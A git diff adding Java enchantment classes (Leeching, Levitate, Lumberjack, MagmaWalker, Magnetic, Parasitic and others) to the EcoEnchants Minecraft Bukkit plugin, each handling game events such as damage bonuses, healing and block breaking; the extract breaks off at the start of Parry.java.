mode 100644 index 00000000..cc899524 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Leeching.java @@ -0,0 +1,55 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.attribute.Attribute; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Leeching extends EcoEnchant { + public Leeching() { + super( + new EcoEnchantBuilder("leeching", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.SWORD, Target.Applicable.AXE}, 4.01) + ); + } + + // START OF LISTENERS + + @EventHandler + public void leechingHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + + if (!(event.getEntity() instanceof LivingEntity)) + return; + + if (event.isCancelled()) + return; + + Player player = (Player) event.getDamager(); + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double damage = event.getDamage(); + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-multiplier-per-level"); + double amountToHeal = damage * level * multiplier; + double newHealth = player.getHealth() + amountToHeal; + if (newHealth > player.getAttribute(Attribute.GENERIC_MAX_HEALTH).getValue()) { + newHealth = player.getAttribute(Attribute.GENERIC_MAX_HEALTH).getValue(); + } + player.setHealth(newHealth); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Levitate.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Levitate.java new file mode 100644 index 00000000..d5800e28 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Levitate.java @@ -0,0 +1,60 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; +import org.bukkit.util.Vector; + +@SuppressWarnings("deprecation") +public class Levitate extends EcoEnchant { + public Levitate() { + super( + new EcoEnchantBuilder("levitate", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.CROSSBOW, Target.Applicable.BOW}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Arrow)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + if(!(((Arrow) event.getDamager()).getShooter() instanceof Player)) + return; + + Player player = (Player) ((Arrow) event.getDamager()).getShooter(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if(event.isCancelled()) return; + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + if (Rand.randFloat(0, 1) > level * 0.01 * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level")) + return; + + int duration = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "duration-per-level"); + + victim.setVelocity(new Vector(0, 0, 0)); + victim.addPotionEffect(new PotionEffect(PotionEffectType.LEVITATION, duration * level, level)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/LiquidShot.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/LiquidShot.java new file mode 100644 index 00000000..b1017da4 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/LiquidShot.java @@ -0,0 +1,45 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.*; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class LiquidShot extends EcoEnchant { + public LiquidShot() { + super( + new EcoEnchantBuilder("liquid_shot", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.BOW, Target.Applicable.CROSSBOW}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onLiquidShotDamage(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Arrow)) return; + + if (!(((Arrow) event.getDamager()).getShooter() instanceof Player)) return; + + if (!(event.getEntity() instanceof LivingEntity)) return; + + Player player = (Player) ((Arrow) event.getDamager()).getShooter(); + LivingEntity victim = (LivingEntity) event.getEntity(); + + if(!(victim instanceof Blaze || victim instanceof MagmaCube || victim instanceof Enderman)) + return; + + if (!HasEnchant.playerHeld(player, this)) return; + int level = HasEnchant.getPlayerLevel(player, this); + + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "multiplier"); + + double damageMultiplier = (level * multiplier) + 1; + + event.setDamage(event.getDamage() * damageMultiplier); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Lumberjack.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Lumberjack.java new file mode 100644 index 00000000..19796603 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Lumberjack.java @@ -0,0 +1,77 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.anticheat.AnticheatManager; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.BlockBreak; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.RecursiveBlock; +import org.bukkit.Bukkit; +import org.bukkit.Material; +import org.bukkit.block.Block; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.block.BlockBreakEvent; +import org.bukkit.metadata.FixedMetadataValue; + +import java.util.ArrayList; +import java.util.List; +import java.util.Set; + +public class Lumberjack extends EcoEnchant { + public Lumberjack() { + super( + new EcoEnchantBuilder("lumberjack", EnchantmentType.NORMAL, Target.Applicable.AXE, 4.01) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onLumberjack(BlockBreakEvent event) { + Player player = event.getPlayer(); + Block block = event.getBlock(); + + if (block.hasMetadata("from-drill") || block.hasMetadata("from-blastmining") || block.hasMetadata("from-lumberjack") || block.hasMetadata("from-vein")) { + return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + if (event.isCancelled()) + return; + + if (!AntiGrief.canBreakBlock(player, block)) return; + + if(player.isSneaking() && this.getConfig().getBool(EcoEnchants.CONFIG_LOCATION + "disable-on-sneak")) return; + + List materials = new ArrayList<>(); + this.getConfig().getStrings(EcoEnchants.CONFIG_LOCATION + "whitelisted-blocks").forEach(name -> materials.add(Material.getMaterial(name.toUpperCase()))); + + if(!materials.contains(block.getType())) + return; + + int blocksPerLevel = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "blocks-per-level"); + int level = HasEnchant.getPlayerLevel(player, this); + int limit = level * blocksPerLevel; + + Set treeBlocks = RecursiveBlock.getVein(block, materials, limit); + + AnticheatManager.exemptPlayer(player); + + for(Block treeBlock : treeBlocks) { + treeBlock.setMetadata("from-lumberjack", new FixedMetadataValue(Main.getInstance(), true)); + if(!AntiGrief.canBreakBlock(player, treeBlock)) continue; + + BlockBreak.breakBlock(player, treeBlock); + + Bukkit.getScheduler().runTaskLater(Main.getInstance(), () -> treeBlock.removeMetadata("from-lumberjack", Main.getInstance()),1); + } + + AnticheatManager.unexemptPlayer(player); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/MagmaWalker.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/MagmaWalker.java new file mode 100644 index 00000000..42c48207 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/MagmaWalker.java @@ -0,0 +1,95 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.anticheat.AnticheatManager; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.Circle; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.Bukkit; +import org.bukkit.Location; +import org.bukkit.Material; +import org.bukkit.block.Block; +import org.bukkit.block.data.Levelled; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.player.PlayerMoveEvent; +import org.bukkit.metadata.FixedMetadataValue; +import org.bukkit.scheduler.BukkitRunnable; +import org.bukkit.util.Vector; + +@SuppressWarnings("deprecation") +public class MagmaWalker extends EcoEnchant { + public MagmaWalker() { + super( + new EcoEnchantBuilder("magma_walker", EnchantmentType.NORMAL, Target.Applicable.BOOTS, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onLavaWalk(PlayerMoveEvent event) { + Player player = event.getPlayer(); + + if(event.getTo() == null) return; + if(event.getFrom().getBlock().equals(event.getTo().getBlock())) return; + + if (!HasEnchant.playerBoots(player, this)) return; + + Vector[] circle = Circle.getCircle(this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "initial-radius") + + (this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "per-level-radius") * HasEnchant.getPlayerBootsLevel(player, this) - 1)); + + AnticheatManager.exemptPlayer(player); + + for (Vector vector : circle) { + Location loc = player.getLocation().add(vector).add(0, -1, 0); + + Block block = player.getWorld().getBlockAt(loc); + + if (!AntiGrief.canPlaceBlock(player, player.getWorld().getBlockAt(loc))) continue; + + if(!block.getType().equals(Material.LAVA)) continue; + + Levelled data = (Levelled) block.getBlockData(); + + if(data.getLevel() != 0) continue; + + block.setType(Material.OBSIDIAN); + + block.setMetadata("byMagmaWalker", new FixedMetadataValue(Main.getInstance(), true)); + + long afterTicks = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "remove-after-ticks"); + + BukkitRunnable replace = new BukkitRunnable() { + @Override + public void run() { + if (block.getType().equals(Material.OBSIDIAN)) { + if(!player.getWorld().getBlockAt(player.getLocation().add(0, -1, 0)).equals(block)) { + block.setType(Material.LAVA); + block.removeMetadata("byMagmaWalker", Main.getInstance()); + this.cancel(); + } + } + } + }; + + Bukkit.getScheduler().runTaskLater(Main.getInstance(), () -> { + if (block.getType().equals(Material.OBSIDIAN)) { + if(!player.getWorld().getBlockAt(player.getLocation().add(0, -1, 0)).equals(block)) { + block.setType(Material.LAVA); + block.removeMetadata("byMagmaWalker", Main.getInstance()); + } else { + replace.runTaskTimer(Main.getInstance(), afterTicks, afterTicks); + } + } + }, afterTicks); + } + + AnticheatManager.unexemptPlayer(player); + } + +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Magnetic.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Magnetic.java new file mode 100644 index 00000000..3e1f85f2 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Magnetic.java @@ -0,0 +1,55 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.task.EcoRunnable; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.LocationUtils; +import org.bukkit.entity.Entity; +import org.bukkit.entity.ExperienceOrb; +import org.bukkit.entity.Item; +import org.bukkit.util.Vector; + +@SuppressWarnings("deprecation") +public class Magnetic extends EcoEnchant implements EcoRunnable { + public Magnetic() { + super( + new EcoEnchantBuilder("magnetic", EnchantmentType.NORMAL, Target.Applicable.BOOTS, 4.0) + ); + } + + @Override + public void run() { + Main.getInstance().getServer().getOnlinePlayers().stream().filter(player -> HasEnchant.getArmorPoints(player, EcoEnchants.MAGNETIC, false) > 0).forEach((player -> { + int level = HasEnchant.getArmorPoints(player, EcoEnchants.MAGNETIC, false); + + double initialDistance = EcoEnchants.MAGNETIC.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "initial-distance"); + double bonus = EcoEnchants.MAGNETIC.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "bonus-per-level"); + double distance = initialDistance + (level * bonus); + + for (Entity e : player.getWorld().getNearbyEntities(player.getLocation(), distance, 2.0d, distance)) { + if(!(e instanceof Item || e instanceof ExperienceOrb)) continue; + + if (e instanceof Item) { + if (((Item) e).getPickupDelay() > 0) { + continue; + } + } + + Vector vector = player.getLocation().toVector().subtract(e.getLocation().toVector()).normalize().multiply(0.1 * level); + + if(LocationUtils.isFinite(vector)) { + e.setVelocity(vector); + } + } + })); + } + + @Override + public long getTime() { + return this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "repeat-ticks"); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Marksman.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Marksman.java new file mode 100644 index 00000000..f053e5f1 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Marksman.java @@ -0,0 +1,53 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.Main; +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.EntityType; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.ProjectileLaunchEvent; +import org.bukkit.scheduler.BukkitRunnable; + +@SuppressWarnings("deprecation") +public class Marksman extends EcoEnchant { + public Marksman() { + super( + new EcoEnchantBuilder("marksman", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.CROSSBOW, Target.Applicable.BOW}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onMarksmanShoot(ProjectileLaunchEvent event) { + if (event.getEntityType() != EntityType.ARROW) + return; + + if (!(event.getEntity().getShooter() instanceof Player)) + return; + + Player player = (Player) event.getEntity().getShooter(); + + if (!HasEnchant.playerHeld(player, this)) return; + + if (!(event.getEntity() instanceof Arrow)) return; + Arrow a = (Arrow) event.getEntity(); + a.setGravity(false); + + int ticks = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "remove-arrow-after-ticks"); + + new BukkitRunnable() { + @Override + public void run() { + if (!a.isOnGround()) { + a.remove(); + } + } + }.runTaskLater(Main.getInstance(), ticks); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Necrotic.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Necrotic.java new file mode 100644 index 00000000..67351863 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Necrotic.java @@ -0,0 +1,53 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.queue.DropQueue; +import com.willfp.ecoenchants.util.HasEnchant; +import com.willfp.ecoenchants.util.Rand; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.entity.WitherSkeleton; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDeathEvent; +import org.bukkit.inventory.ItemStack; + +@SuppressWarnings("deprecation") +public class Necrotic extends EcoEnchant { + public Necrotic() { + super( + new EcoEnchantBuilder("necrotic", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void necroticKill(EntityDeathEvent event) { + if (event.getEntity().getKiller() == null) + return; + if (!(event.getEntity() instanceof WitherSkeleton)) + return; + + Player player = event.getEntity().getKiller(); + WitherSkeleton victim = (WitherSkeleton) event.getEntity(); + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double chance = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "chance-per-level"); + if (Rand.randFloat(0, 1) > level * 0.01 * chance) + return; + + ItemStack item = new ItemStack(Material.WITHER_SKELETON_SKULL, 1); + + new DropQueue(player) + .addItem(item) + .setLocation(victim.getLocation()) + .addXP(event.getDroppedExp()) + .push(); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/NetherInfusion.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/NetherInfusion.java new file mode 100644 index 00000000..1d2ac729 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/NetherInfusion.java @@ -0,0 +1,40 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.World; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class NetherInfusion extends EcoEnchant { + public NetherInfusion() { + super( + new EcoEnchantBuilder("nether_infusion", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void netherInfusionHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + + Player player = (Player) event.getDamager(); + + if(!player.getWorld().getEnvironment().equals(World.Environment.NETHER)) + return; + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "per-level-multiplier"); + + event.setDamage(event.getDamage() * (1 + (level * multiplier))); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Nocturnal.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Nocturnal.java new file mode 100644 index 00000000..391214ea --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Nocturnal.java @@ -0,0 +1,42 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.World; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Nocturnal extends EcoEnchant { + public Nocturnal() { + super( + new EcoEnchantBuilder("nocturnal", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void nocturnalHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + + Player player = (Player) event.getDamager(); + + if(!player.getWorld().getEnvironment().equals(World.Environment.NORMAL)) + return; + + if(!(player.getWorld().getTime() > 12300 && player.getWorld().getTime() < 23850)) return; + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "per-level-multiplier"); + + event.setDamage(event.getDamage() * (1 + (level * multiplier))); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Optics.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Optics.java new file mode 100644 index 00000000..4e967d12 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Optics.java @@ -0,0 +1,48 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.Location; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Optics extends EcoEnchant { + public Optics() { + super( + new EcoEnchantBuilder("optics", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.BOW, Target.Applicable.CROSSBOW}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void onOpticsDamage(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Arrow)) return; + + if (!(((Arrow) event.getDamager()).getShooter() instanceof Player)) return; + + Player player = (Player) ((Arrow) event.getDamager()).getShooter(); + Arrow arrow = (Arrow) event.getDamager(); + + if (!HasEnchant.playerHeld(player, this)) return; + + Location land = arrow.getLocation(); + Location source = player.getLocation(); + + double distance = land.distance(source); + + int level = HasEnchant.getPlayerLevel(player, this); + + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "block-multiplier"); + + double damageMultiplier = (distance * level * multiplier) + 1; + + event.setDamage(event.getDamage() * damageMultiplier); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Oxygenate.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Oxygenate.java new file mode 100644 index 00000000..2ddc6014 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Oxygenate.java @@ -0,0 +1,48 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.EqualIfOver; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.block.Block; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.block.BlockBreakEvent; + +@SuppressWarnings("deprecation") +public class Oxygenate extends EcoEnchant { + public Oxygenate() { + super( + new EcoEnchantBuilder("oxygenate", EnchantmentType.NORMAL, Target.Applicable.TOOL, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void oxygenateBreak(BlockBreakEvent event) { + Player player = event.getPlayer(); + Block block = event.getBlock(); + + if (!HasEnchant.playerHeld(player, this)) return; + + if (event.isCancelled()) + return; + + if (!AntiGrief.canBreakBlock(player, block)) return; + + if(player.getRemainingAir() == player.getMaximumAir()) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + int oxygenLevel = this.getConfig().getInt(EcoEnchants.CONFIG_LOCATION + "oxygen-per-level"); + int oxygen = level * oxygenLevel; + int newOxygen = player.getRemainingAir() + oxygen; + newOxygen = EqualIfOver.equalIfOver(newOxygen, player.getMaximumAir()); + + player.setRemainingAir(newOxygen); + } +} \ No newline at end of file diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Paladin.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Paladin.java new file mode 100644 index 00000000..f1043a98 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Paladin.java @@ -0,0 +1,43 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.entity.Horse; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Paladin extends EcoEnchant { + public Paladin() { + super( + new EcoEnchantBuilder("paladin", EnchantmentType.NORMAL, Target.Applicable.SWORD, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void paladinHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Player)) + return; + if (!(event.getEntity() instanceof LivingEntity)) + return; + + Player player = (Player) event.getDamager(); + + LivingEntity victim = (LivingEntity) event.getEntity(); + + if (!HasEnchant.playerHeld(player, this)) return; + + if(!(player.getVehicle() instanceof Horse)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + event.setDamage(event.getDamage() * ((level * this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-multiplier-per-level")) + 1)); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Parasitic.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Parasitic.java new file mode 100644 index 00000000..112ccbcd --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Parasitic.java @@ -0,0 +1,59 @@ +package com.willfp.ecoenchants.enchantments.ecoenchants.normal; + +import com.willfp.ecoenchants.enchantments.EcoEnchant; +import com.willfp.ecoenchants.enchantments.EcoEnchantBuilder; +import com.willfp.ecoenchants.enchantments.EcoEnchants; +import com.willfp.ecoenchants.nms.Target; +import com.willfp.ecoenchants.util.AntiGrief; +import com.willfp.ecoenchants.util.HasEnchant; +import org.bukkit.attribute.Attribute; +import org.bukkit.entity.Arrow; +import org.bukkit.entity.LivingEntity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.entity.EntityDamageByEntityEvent; + +@SuppressWarnings("deprecation") +public class Parasitic extends EcoEnchant { + public Parasitic() { + super( + new EcoEnchantBuilder("parasitic", EnchantmentType.NORMAL, new Target.Applicable[]{Target.Applicable.BOW, Target.Applicable.CROSSBOW}, 4.0) + ); + } + + // START OF LISTENERS + + @EventHandler + public void parasiticHit(EntityDamageByEntityEvent event) { + if (!(event.getDamager() instanceof Arrow)) + return; + + if(!(((Arrow) event.getDamager()).getShooter() instanceof Player)) + return; + + if (!(event.getEntity() instanceof LivingEntity)) + return; + + if (event.isCancelled()) + return; + + Player player = (Player) ((Arrow) event.getDamager()).getShooter(); + + if(event.getEntity() instanceof Player) { + if(!AntiGrief.canInjurePlayer(player, (Player) event.getEntity())) return; + } + + if (!HasEnchant.playerHeld(player, this)) return; + + int level = HasEnchant.getPlayerLevel(player, this); + + double damage = event.getDamage(); + double multiplier = this.getConfig().getDouble(EcoEnchants.CONFIG_LOCATION + "damage-multiplier-per-level"); + double amountToHeal = damage * level * multiplier; + double newHealth = player.getHealth() + amountToHeal; + if (newHealth > player.getAttribute(Attribute.GENERIC_MAX_HEALTH).getValue()) { + newHealth = player.getAttribute(Attribute.GENERIC_MAX_HEALTH).getValue(); + } + player.setHealth(newHealth); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Parry.java b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Parry.java new file mode 100644 index 00000000..4e75454e --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Parry.java @@ -0,0 +1,41 @@ +package 